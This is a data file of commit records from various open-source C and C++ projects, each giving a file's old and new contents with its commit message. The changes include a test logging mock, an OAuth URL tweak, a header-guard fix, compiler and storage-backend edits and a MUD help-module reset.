{"commit":"a77891726ba57d03abdc2153d38d4c2f45a0d623","old_file":"src\/tests\/log_mock.c","new_file":"src\/tests\/log_mock.c","old_contents":"#include \"log.h\"\n#include <stdio.h>\n\nvoid debug(const char* format, ...) {\n#ifdef __DEBUG__\n    vprintf(format, args);\n#endif \/\/ __DEBUG__\n}\n\nvoid initializeLogging() { }\n","new_contents":"#include \"log.h\"\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid debug(const char* format, ...) {\n    va_list args;\n    va_start(args, format);\n    vprintf(format, args);\n    va_end(args);\n}\n\nvoid initializeLogging() { }\n","subject":"Enable printf in unit tests regardless of DEBUG flag status.","message":"Enable printf in unit tests regardless of DEBUG flag status.\n","lang":"C","license":"bsd-3-clause","repos":"openxc\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware"}
{"commit":"ca77e66fbcd139c43ee54d371e745bb40b75c095","old_file":"o1dropbox.h","new_file":"o1dropbox.h","old_contents":"#ifndef O1DROPBOX_H\n#define O1DROPBOX_H\n\n#include \"o1.h\"\n\nclass O1Dropbox: public O1 {\n    Q_OBJECT\n\npublic:\n    explicit O1Dropbox(QObject *parent = 0): O1(parent) {\n        setRequestTokenUrl(QUrl(\"https:\/\/api.dropbox.com\/1\/oauth\/request_token\"));\n        setAuthorizeUrl(QUrl(\"https:\/\/www.dropbox.com\/1\/oauth\/authorize\"));\n        setAccessTokenUrl(QUrl(\"https:\/\/api.dropbox.com\/1\/oauth\/access_token\"));\n        setLocalPort(1965);\n    }\n};\n\n#endif \/\/ O1DROPBOX_H\n","new_contents":"#ifndef O1DROPBOX_H\n#define O1DROPBOX_H\n\n#include \"o1.h\"\n\nclass O1Dropbox: public O1 {\n    Q_OBJECT\n\npublic:\n    explicit O1Dropbox(QObject *parent = 0): O1(parent) {\n        setRequestTokenUrl(QUrl(\"https:\/\/api.dropbox.com\/1\/oauth\/request_token\"));\n        setAuthorizeUrl(QUrl(\"https:\/\/www.dropbox.com\/1\/oauth\/authorize?display=mobile\"));\n        setAccessTokenUrl(QUrl(\"https:\/\/api.dropbox.com\/1\/oauth\/access_token\"));\n        setLocalPort(1965);\n    }\n};\n\n#endif \/\/ O1DROPBOX_H\n","subject":"Use the mobile authorization page.","message":"Use the mobile authorization page.\n","lang":"C","license":"bsd-2-clause","repos":"pipacs\/o2,shimomura1004\/o2,shimomura1004\/o2,seem-sky\/o2,parapente\/o2,pipacs\/o2,seem-sky\/o2,Timac\/o2,Timac\/o2,parapente\/o2"}
{"commit":"9f59e8574620d9d628bb8b9ad687906843b6d9ad","old_file":"network\/v4ispalindrome.c","new_file":"network\/v4ispalindrome.c","old_contents":"","new_contents":"\/*\n * Determines if an IPv4 address is a palindromic address. Such\n * addresses need no special htonl\/ntohl handling, regardless of host\n * versus network byte order. There are relatively few of these on\n * the Internet (65536).\n *\/\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n\n#include <err.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sysexits.h>\n#include <unistd.h>\n\nvoid emit_help(void);\n\nbool Flag_Quiet;                \/* -q *\/\n\nint Exit_Status = 1;            \/* failed test by default *\/\n\nint\nmain(int argc, char *argv[])\n{\n    int ch, ret;\n    struct in_addr ip;\n\n    while ((ch = getopt(argc, argv, \"h?q\")) != -1) {\n        switch (ch) {\n        case 'q':\n            Flag_Quiet = true;\n            break;\n        case 'h':\n        case '?':\n        default:\n            \/* NOTREACHED *\/\n            emit_help();\n        }\n    }\n    argc -= optind;\n    argv += optind;\n\n    if ((ret = inet_pton(AF_INET, *argv, &ip)) != 1) {\n        if (ret == -1)\n            err(EX_DATAERR, \"inet_pton() failed\");\n        else\n            errx(EX_DATAERR, \"inet_pton() failed\");\n    }\n\n    \/* PORTABILITY will fail on middle-endian systems such as PDP-11,\n     * but not too worried about such. Otherwise, this compares the\n     * outer bytes and the inner bytes for symmetry - x.y.y.x *\/\n    if ((ip.s_addr & 255) == (ip.s_addr >> 24 & 255) &&\n        (ip.s_addr & 255 >> 8) == (ip.s_addr >> 16 & 255)\n        ) {\n        if (!Flag_Quiet)\n            printf(\"yes\\n\");\n        Exit_Status = EXIT_SUCCESS;\n    }\n\n    exit(Exit_Status);\n}\n\nvoid\nemit_help(void)\n{\n    fprintf(stderr, \"Usage: [-q] ipv4-address\\n\");\n    exit(EX_USAGE);\n}\n","subject":"Test if address is a palindrome.","message":"Test if address is a palindrome.\n","lang":"C","license":"isc","repos":"princeofdarkness76\/sial.org-scripts,princeofdarkness76\/sial.org-scripts,thrig\/scripts,princeofdarkness76\/sial.org-scripts,thrig\/scripts,princeofdarkness76\/sial.org-scripts,thrig\/scripts,thrig\/scripts,thrig\/scripts,princeofdarkness76\/sial.org-scripts,thrig\/scripts"}
{"commit":"50620bdb6b217d53bcabda32764b7f3e21499bcc","old_file":"isl_sample.h","new_file":"isl_sample.h","old_contents":"\/*\n * Copyright 2008-2009 Katholieke Universiteit Leuven\n *\n * Use of this software is governed by the MIT license\n *\n * Written by Sven Verdoolaege, K.U.Leuven, Departement\n * Computerwetenschappen, Celestijnenlaan 200A, B-3001 Leuven, Belgium\n *\/\n\n#ifndef ISL_SAMPLE_H\n#define ISL_SAMPLE\n\n#include <isl\/set.h>\n#include <isl_tab.h>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n__isl_give isl_vec *isl_basic_set_sample_vec(__isl_take isl_basic_set *bset);\nstruct isl_vec *isl_basic_set_sample_bounded(struct isl_basic_set *bset);\n__isl_give isl_vec *isl_basic_set_sample_with_cone(\n\t__isl_take isl_basic_set *bset, __isl_take isl_basic_set *cone);\n\n__isl_give isl_basic_set *isl_basic_set_from_vec(__isl_take isl_vec *vec);\n\nint isl_tab_set_initial_basis_with_cone(struct isl_tab *tab,\n\tstruct isl_tab *tab_cone);\nstruct isl_vec *isl_tab_sample(struct isl_tab *tab);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2008-2009 Katholieke Universiteit Leuven\n *\n * Use of this software is governed by the MIT license\n *\n * Written by Sven Verdoolaege, K.U.Leuven, Departement\n * Computerwetenschappen, Celestijnenlaan 200A, B-3001 Leuven, Belgium\n *\/\n\n#ifndef ISL_SAMPLE_H\n#define ISL_SAMPLE_H\n\n#include <isl\/set.h>\n#include <isl_tab.h>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n__isl_give isl_vec *isl_basic_set_sample_vec(__isl_take isl_basic_set *bset);\nstruct isl_vec *isl_basic_set_sample_bounded(struct isl_basic_set *bset);\n__isl_give isl_vec *isl_basic_set_sample_with_cone(\n\t__isl_take isl_basic_set *bset, __isl_take isl_basic_set *cone);\n\n__isl_give isl_basic_set *isl_basic_set_from_vec(__isl_take isl_vec *vec);\n\nint isl_tab_set_initial_basis_with_cone(struct isl_tab *tab,\n\tstruct isl_tab *tab_cone);\nstruct isl_vec *isl_tab_sample(struct isl_tab *tab);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Fix typo in header guard","message":"Fix typo in header guard\n\nSigned-off-by: Tobias Grosser <059b8b880f8441509ec8a65b50b4c6ae74ebea76@grosser.es>\nSigned-off-by: Sven Verdoolaege <e5350bbed4977f5eb8ae1dc6abd9ae59d21ace75@kotnet.org>\n","lang":"C","license":"mit","repos":"cfx-next\/toolchain_isl-upstream,cfx-next\/toolchain_isl-upstream,nicolasvasilache\/isl,Meinersbur\/isl,BenzoSM\/isl,BobSaget-Mod\/libisl,VanirLLVM\/toolchain_isl,inducer\/isl-mirror,tobig\/isl,crossbuild\/isl,BobSaget-Mod\/libisl,inducer\/isl-mirror,tobig\/isl,UBERTC\/isl,nicolasvasilache\/isl,simbuerg\/isl,KangDroidSMProject\/ISL,KangDroidSMProject\/ISL,Distrotech\/isl,jleben\/isl,KangDroidSMProject\/ISL,jleben\/isl,PollyLabs\/isl,abduld\/isl,SaberMod\/isl-current,BobSaget-Mod\/libisl,evaautomation\/isl,BobSaget-Mod\/libisl,nicolasvasilache\/isl,Distrotech\/isl,inducer\/isl-mirror,abduld\/isl,evaautomation\/isl,VanirLLVM\/toolchain_isl,PollyLabs\/isl,crossbuild\/isl,nicolasvasilache\/isl,VanirLLVM\/toolchain_isl,jleben\/isl,nicolasvasilache\/isl,SaberMod\/isl-current,abduld\/isl,BenzoSM\/isl,Meinersbur\/isl,SaberMod\/isl-current,simbuerg\/isl,VanirLLVM\/toolchain_isl,tobig\/isl,cfx-next\/toolchain_isl-upstream,BenzoSM\/isl,UBERTC\/isl,inducer\/isl-mirror,inducer\/isl-mirror,evaautomation\/isl,SaberMod\/isl-current,PollyLabs\/isl,Distrotech\/isl,evaautomation\/isl,UBERTC\/isl,BobSaget-Mod\/libisl,Distrotech\/isl,cfx-next\/toolchain_isl-upstream,cfx-next\/toolchain_isl-upstream,abduld\/isl,KangDroidSMProject\/ISL,BenzoSM\/isl,Meinersbur\/isl,jleben\/isl,simbuerg\/isl,jleben\/isl,Meinersbur\/isl,simbuerg\/isl,VanirLLVM\/toolchain_isl,KangDroidSMProject\/ISL,PollyLabs\/isl,crossbuild\/isl,Distrotech\/isl,crossbuild\/isl,simbuerg\/isl,PollyLabs\/isl,tobig\/isl,BenzoSM\/isl,UBERTC\/isl"}
{"commit":"96607b29c4b90996e97f0216651f544b3ded4175","old_file":"test\/Headers\/arm-neon-header.c","new_file":"test\/Headers\/arm-neon-header.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\/\/ RUN: %clang_cc1 -x c++ -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\n#include <arm_neon.h>\n\n\/\/ Radar 8228022: Should not report incompatible vector types.\nint32x2_t test(int32x2_t x) {\n  return vshr_n_s32(x, 31);\n}\n","subject":"Add a testcase for Radar 8228022. Make sure the -Wvector-conversions does not cause unnecessary warnings when using Neon intrinsics with the correct types.","message":"Add a testcase for Radar 8228022.\nMake sure the -Wvector-conversions does not cause unnecessary warnings when\nusing Neon intrinsics with the correct types.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@120634 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"e93725b6fb3bff46a349a6fc22a4cf6db08e6232","old_file":"test\/source\/regalias.c","new_file":"test\/source\/regalias.c","old_contents":"","new_contents":"\n\nint main()\n{\n\tint r;\n\t__asm(\"movl $0x87654321, %%eax; movb $0x12, %%al; movb $0x34, %%ah\" : \"=a\" (r));\n\tprintf(\"%08X\\n\", r);\n}\n\n","subject":"Add contrived example for register alias failure source.","message":"Add contrived example for register alias failure source.\n","lang":"C","license":"bsd-3-clause","repos":"nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,nemerle\/boomerang,nemerle\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang"}
{"commit":"58388a13ea0f47241340a99f45f1e3b0a0f45f04","old_file":"src\/host\/os_uuid.c","new_file":"src\/host\/os_uuid.c","old_contents":"\/**\n * \\file   os_uuid.c\n * \\brief  Create a new UUID.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#if PLATFORM_WINDOWS\n#include <Objbase.h>\n#endif\n\nint os_uuid(lua_State* L)\n{\n\tunsigned char bytes[16];\n\tchar uuid[38];\n\n#if PLATFORM_WINDOWS\n\tCoCreateGuid((char*)bytes);\n#else\n\tint result;\n\n\t\/* not sure how to get a UUID here, so I fake it *\/\n\tFILE* rnd = fopen(\"\/dev\/urandom\", \"rb\");\n\tresult = fread(bytes, 16, 1, rnd);\n\tfclose(rnd);\n\tif (!result)\n\t\treturn 0;\n#endif\n\n\tsprintf(uuid, \"%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X\",\n\t\tbytes[0], bytes[1], bytes[2], bytes[3],\n\t\tbytes[4], bytes[5],\n\t\tbytes[6], bytes[7],\n\t\tbytes[8], bytes[9],\n\t\tbytes[10], bytes[11], bytes[12], bytes[13], bytes[14], bytes[15]);\n\n\tlua_pushstring(L, uuid);\n\treturn 1;\n}\n","new_contents":"\/**\n * \\file   os_uuid.c\n * \\brief  Create a new UUID.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#if PLATFORM_WINDOWS\n#include <Objbase.h>\n#endif\n\nint os_uuid(lua_State* L)\n{\n\tunsigned char bytes[16];\n\tchar uuid[38];\n\n#if PLATFORM_WINDOWS\n\tCoCreateGuid((GUID*)bytes);\n#else\n\tint result;\n\n\t\/* not sure how to get a UUID here, so I fake it *\/\n\tFILE* rnd = fopen(\"\/dev\/urandom\", \"rb\");\n\tresult = fread(bytes, 16, 1, rnd);\n\tfclose(rnd);\n\tif (!result)\n\t\treturn 0;\n#endif\n\n\tsprintf(uuid, \"%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X\",\n\t\tbytes[0], bytes[1], bytes[2], bytes[3],\n\t\tbytes[4], bytes[5],\n\t\tbytes[6], bytes[7],\n\t\tbytes[8], bytes[9],\n\t\tbytes[10], bytes[11], bytes[12], bytes[13], bytes[14], bytes[15]);\n\n\tlua_pushstring(L, uuid);\n\treturn 1;\n}\n","subject":"Fix incompatible types warning from VS 2005 (Oliver Schneider)","message":"Fix incompatible types warning from VS 2005 (Oliver Schneider)\n","lang":"C","license":"bsd-3-clause","repos":"premake\/premake-4.x,premake\/premake-4.x,soundsrc\/premake-stable,ryanjmulder\/premake-4.x,soundsrc\/premake-stable,premake\/premake-4.x,lizh06\/premake-4.x,ryanjmulder\/premake-4.x,ryanjmulder\/premake-4.x,lizh06\/premake-4.x,ryanjmulder\/premake-4.x,soundsrc\/premake-stable,soundsrc\/premake-stable,premake\/premake-4.x,lizh06\/premake-4.x,lizh06\/premake-4.x"}
{"commit":"3f9b5373a22df13cb9b449963aff4395493324b3","old_file":"CDKitt\/NSView+CDAutoLayout.h","new_file":"CDKitt\/NSView+CDAutoLayout.h","old_contents":"\/\/\n\/\/  NSView+CDAutoLayout.h\n\/\/  CDKitt\n\/\/\n\/\/  Created by Aron Cedercrantz on 04-06-2013.\n\/\/  Copyright (c) 2013 Aron Cedercrantz. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface NSView (CDAutoLayout)\n\n\/**\n * Add the given view to this view as a subview and autoresizes it to fill the\n * receiving view.\n *\/\n- (void)cd_addFillingAutoresizedSubview:(NSView *)subview;\n\n\n@end\n","new_contents":"\/\/\n\/\/  NSView+CDAutoLayout.h\n\/\/  CDKitt\n\/\/\n\/\/  Created by Aron Cedercrantz on 04-06-2013.\n\/\/  Copyright (c) 2013 Aron Cedercrantz. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface NSView (CDAutoLayout)\n\n\/**\n * Add the given view to this view as a subview and autoresizes it to fill the\n * receiving view.\n *\n * @param subview The view which should be added as a subview of the reciever.\n * May be `nil`.\n *\/\n- (void)cd_addFillingAutoresizedSubview:(NSView *)subview;\n\n\n@end\n","subject":"Improve NSView auto layout category documentation.","message":"Improve NSView auto layout category documentation.\n\nSigned-off-by: Aron Cedercrantz <ce30127eefa07a02d568832e3de6952fb491981c@cedercrantz.se>\n","lang":"C","license":"mit","repos":"rastersize\/CDKitt,rastersize\/CDKitt,rastersize\/CDKitt,rastersize\/CDKitt"}
{"commit":"3178bbaa27f2f2201014c2789f976a407e4ce548","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/max-unsigned-int-to-double-cast.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/max-unsigned-int-to-double-cast.c","old_contents":"","new_contents":"#include <limits.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid testCase(double value, unsigned int expected) {\n  unsigned int result = (unsigned int)value;\n  if (result != expected) {\n    printf(\"%d\\n\", result);\n    abort();\n  }\n}\n\nint main() {\n  testCase(UINT_MAX, -1);\n  testCase(UINT_MAX - 0.03, -2);\n  testCase(UINT_MAX - 1, -2);\n  testCase(UINT_MAX - 2, -3);\n  testCase(UINT_MAX - 5, -6);\n\n  testCase(UINT_MAX - 2.5, -4);\n  testCase(UINT_MAX - 2.4, -4);\n  testCase(UINT_MAX - 2.6, -4);\n\n  testCase(UINT_MAX \/ 2, 2147483647);\n  testCase(UINT_MAX \/ 2 + 1, -2147483648);\n  testCase(UINT_MAX \/ 2 - 1.0, 2147483646);\n  testCase(UINT_MAX \/ 2 + 1.999999999, -2147483647);\n\n  testCase(-1, -1);\n  testCase(0, 0);\n  testCase(1.5, 1);\n  testCase(INT_MAX + 1, -2147483648);\n  testCase(INT_MAX, 2147483647);\n}\n","subject":"Add test case for casts from double to unsigned int","message":"Add test case for casts from double to unsigned int\n","lang":"C","license":"bsd-3-clause","repos":"lxp\/sulong,lxp\/sulong,crbb\/sulong,lxp\/sulong,crbb\/sulong,PrinzKatharina\/sulong,lxp\/sulong,PrinzKatharina\/sulong,crbb\/sulong,crbb\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong"}
{"commit":"febcd73e5ebc12d91f72bd948d8d8abd2043d84d","old_file":"mudlib\/mud\/home\/Help\/initd.c","new_file":"mudlib\/mud\/home\/Help\/initd.c","old_contents":"#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","new_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/privilege.h>\n#include <kotaka\/bigstruct.h>\n#include <kotaka\/log.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n\nvoid full_reset()\n{\n\tobject turkeylist;\n\tobject cursor;\n\tobject first;\n\tobject this;\n\n\tACCESS_CHECK(PRIVILEGED());\n\n\tturkeylist = new_object(BIGSTRUCT_DEQUE_LWO);\n\n\tthis = this_object();\n\tcursor = KERNELD->first_link(\"Help\");\n\tfirst = cursor;\n\n\tdo {\n\t\tLOGD->post_message(\"help\", LOG_DEBUG, \"Listing \" + object_name(cursor));\n\t\tturkeylist->push_back(cursor);\n\t\tcursor = KERNELD->next_link(cursor);\n\t} while (cursor != first);\n\n\twhile (!turkeylist->empty()) {\n\t\tobject turkey;\n\n\t\tturkey = turkeylist->get_front();\n\t\tturkeylist->pop_front();\n\n\t\tif (!turkey || turkey == this) {\n\t\t\t\/* don't self destruct or double destruct *\/\n\t\t\tcontinue;\n\t\t}\n\n\t\tdestruct_object(turkey);\n\t}\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","subject":"Allow help module to be rebooted","message":"Allow help module to be rebooted\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"47b31c05b71bedd540810d95c10189c4d4580534","old_file":"src\/tag.h","new_file":"src\/tag.h","old_contents":"#ifndef SRC_TAG_H_\n#define SRC_TAG_H_\n\n#include <string>\n#include \"readtags.h\"\n\nclass Tag {\n public:\n  Tag(tagEntry entry) {\n    name = entry.name;\n    file = entry.file;\n    kind = entry.kind != NULL ? entry.kind : \"\";\n    if (entry.address.pattern != NULL)\n      pattern = entry.address.pattern;\n    else\n      pattern = \"\";\n  }\n\n  std::string name;\n  std::string file;\n  std::string kind;\n  std::string pattern;\n};\n\n#endif  \/\/ SRC_TAG_H_\n","new_contents":"#ifndef SRC_TAG_H_\n#define SRC_TAG_H_\n\n#include <string>\n#include \"readtags.h\"\n\nclass Tag {\n public:\n  Tag(tagEntry entry) {\n    name = entry.name;\n    file = entry.file;\n    kind = entry.kind != NULL ? entry.kind : \"\";\n    pattern = entry.address.pattern != NULL ? entry.address.pattern : \"\";\n  }\n\n  std::string name;\n  std::string file;\n  std::string kind;\n  std::string pattern;\n};\n\n#endif  \/\/ SRC_TAG_H_\n","subject":"Switch pattern's check for NULL to ternary operator","message":"Switch pattern's check for NULL to ternary operator\n\n(To be consistent with “kind”’s check)\n","lang":"C","license":"mit","repos":"zertosh\/ctags-prebuilt,zertosh\/ctags-prebuilt,atom\/node-ctags,zertosh\/ctags-prebuilt,atom\/node-ctags,yongkangchen\/node-ctags,yongkangchen\/node-ctags,yongkangchen\/node-ctags,zertosh\/ctags-prebuilt,atom\/node-ctags"}
{"commit":"a153c929c08c530c81286efbe0ef21ceeeacc0a3","old_file":"bin\/varnishd\/storage_malloc.c","new_file":"bin\/varnishd\/storage_malloc.c","old_contents":"\/*\n * $Id$\n *\n * Storage method based on malloc(3)\n *\/\n\n#include <assert.h>\n#include <stdlib.h>\n#include <sys\/queue.h>\n#include <pthread.h>\n\n#include \"cache.h\"\n\nstruct sma {\n\tstruct storage\t\ts;\n};\n\nstatic struct storage *\nsma_alloc(struct stevedore *st __unused, unsigned size)\n{\n\tstruct sma *sma;\n\n\tsma = calloc(sizeof *sma, 1);\n\tassert(sma != NULL);\n\tsma->s.priv = sma;\n\tsma->s.ptr = malloc(size);\n\tassert(sma->s.ptr != NULL);\n\tsma->s.len = size;\n\tsma->s.space = size;\n\treturn (&sma->s);\n}\n\nstatic void\nsma_free(struct storage *s)\n{\n\tstruct sma *sma;\n\n\tsma = s->priv;\n\tfree(sma->s.ptr);\n\tfree(sma);\n}\n\nstruct stevedore sma_stevedore = {\n\t\"malloc\",\n\tNULL,\t\t\t\/* init *\/\n\tNULL,\t\t\t\/* open *\/\n\tsma_alloc,\n\tNULL,\t\t\t\/* trim *\/\n\tsma_free\n};\n","new_contents":"\/*\n * $Id$\n *\n * Storage method based on malloc(3)\n *\/\n\n#include <assert.h>\n#include <stdlib.h>\n#include <sys\/queue.h>\n#include <pthread.h>\n\n#include \"cache.h\"\n\nstruct sma {\n\tstruct storage\t\ts;\n};\n\nstatic struct storage *\nsma_alloc(struct stevedore *st, unsigned size)\n{\n\tstruct sma *sma;\n\n\tsma = calloc(sizeof *sma, 1);\n\tassert(sma != NULL);\n\tsma->s.priv = sma;\n\tsma->s.ptr = malloc(size);\n\tassert(sma->s.ptr != NULL);\n\tsma->s.len = size;\n\tsma->s.space = size;\n\tsma->s.stevedore = st;\n\treturn (&sma->s);\n}\n\nstatic void\nsma_free(struct storage *s)\n{\n\tstruct sma *sma;\n\n\tsma = s->priv;\n\tfree(sma->s.ptr);\n\tfree(sma);\n}\n\nstruct stevedore sma_stevedore = {\n\t\"malloc\",\n\tNULL,\t\t\t\/* init *\/\n\tNULL,\t\t\t\/* open *\/\n\tsma_alloc,\n\tNULL,\t\t\t\/* trim *\/\n\tsma_free\n};\n","subject":"Make this work again: record the stevedore in the storage object.","message":"Make this work again: record the stevedore in the storage object.\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@236 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish"}
{"commit":"114f74f1f21bd9467d500bae7a3442e5135ce83a","old_file":"test\/benchLinkDef.h","new_file":"test\/benchLinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class THit!+;\n#pragma link C++ class TObjHit+;\n#pragma link C++ class TSTLhit;\n#pragma link C++ class TSTLhitList;\n#pragma link C++ class TSTLhitDeque;\n#pragma link C++ class TSTLhitSet;\n#pragma link C++ class TSTLhitMultiset;\n#pragma link C++ class TSTLhitMap;\n#pragma link C++ class TSTLhitMultiMap;\n\/\/#pragma link C++ class TSTLhitHashSet;\n\/\/#pragma link C++ class TSTLhitHashMultiset;\n#pragma link C++ class pair<int,THit>;\n\n#pragma link C++ class TSTLhitStar;\n#pragma link C++ class TSTLhitStarList;\n#pragma link C++ class TSTLhitStarDeque;\n#pragma link C++ class TSTLhitStarSet;\n#pragma link C++ class TSTLhitStarMultiSet;\n#pragma link C++ class TSTLhitStarMap;\n#pragma link C++ class TSTLhitStarMultiMap;\n#pragma link C++ class pair<int,THit*>;\n\n#pragma link C++ class TCloneshit+;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class THit!+;\n#pragma link C++ class TObjHit+;\n#pragma link C++ class TSTLhit+;\n#pragma link C++ class TSTLhitList+;\n#pragma link C++ class TSTLhitDeque+;\n#pragma link C++ class TSTLhitSet+;\n#pragma link C++ class TSTLhitMultiset+;\n#pragma link C++ class TSTLhitMap+;\n#pragma link C++ class TSTLhitMultiMap+;\n\/\/#pragma link C++ class TSTLhitHashSet;\n\/\/#pragma link C++ class TSTLhitHashMultiset;\n#pragma link C++ class pair<int,THit>+;\n\n#pragma link C++ class TSTLhitStar+;\n#pragma link C++ class TSTLhitStarList+;\n#pragma link C++ class TSTLhitStarDeque+;\n#pragma link C++ class TSTLhitStarSet+;\n#pragma link C++ class TSTLhitStarMultiSet+;\n#pragma link C++ class TSTLhitStarMap+;\n#pragma link C++ class TSTLhitStarMultiMap+;\n#pragma link C++ class pair<int,THit*>+;\n\n#pragma link C++ class TCloneshit+;\n\n#endif\n","subject":"Use the option \"+\" to force the new style Streamer for all classes in bench.","message":"Use the option \"+\" to force the new style Streamer for all classes in bench.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@10478 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"56f42fe127b267e25739a56925d05f7ff70517b1","old_file":"src\/onig-result.h","new_file":"src\/onig-result.h","old_contents":"#ifndef SRC_ONIG_RESULT_H_\n#define SRC_ONIG_RESULT_H_\n\n#include \"oniguruma.h\"\n\nclass OnigResult {\n public:\n  explicit OnigResult(OnigRegion* region, int indexInScanner);\n  ~OnigResult();\n\n  int Count();\n  int LocationAt(int index);\n  int LengthAt(int index);\n  int Index() { return indexInScanner; }\n  void SetIndex(int newIndex) { indexInScanner = newIndex; }\n\n private:\n  OnigResult(const OnigResult&);  \/\/ Disallow copying\n  OnigResult &operator=(const OnigResult&);  \/\/ Disallow copying\n\n  OnigRegion *region_;\n  int indexInScanner;\n};\n\n#endif  \/\/ SRC_ONIG_RESULT_H_\n","new_contents":"#ifndef SRC_ONIG_RESULT_H_\n#define SRC_ONIG_RESULT_H_\n\n#include \"nan.h\"\n#include \"oniguruma.h\"\n\nclass OnigResult {\n public:\n  explicit OnigResult(OnigRegion* region, int indexInScanner);\n  ~OnigResult();\n\n  int Count();\n  int LocationAt(int index);\n  int LengthAt(int index);\n  int Index() { return indexInScanner; }\n  void SetIndex(int newIndex) { indexInScanner = newIndex; }\n\n private:\n  OnigResult(const OnigResult&);  \/\/ Disallow copying\n  OnigResult &operator=(const OnigResult&);  \/\/ Disallow copying\n\n  OnigRegion *region_;\n  int indexInScanner;\n};\n\n#endif  \/\/ SRC_ONIG_RESULT_H_\n","subject":"Fix compilation on win8 : include nan before oniguruma","message":"Fix compilation on win8 : include nan before oniguruma\n","lang":"C","license":"mit","repos":"bpasero\/node-oniguruma,alexandrudima\/node-oniguruma,alexandrudima\/node-oniguruma,bpasero\/node-oniguruma,atom\/node-oniguruma,atom\/node-oniguruma,atom\/node-oniguruma,bpasero\/node-oniguruma,alexandrudima\/node-oniguruma"}
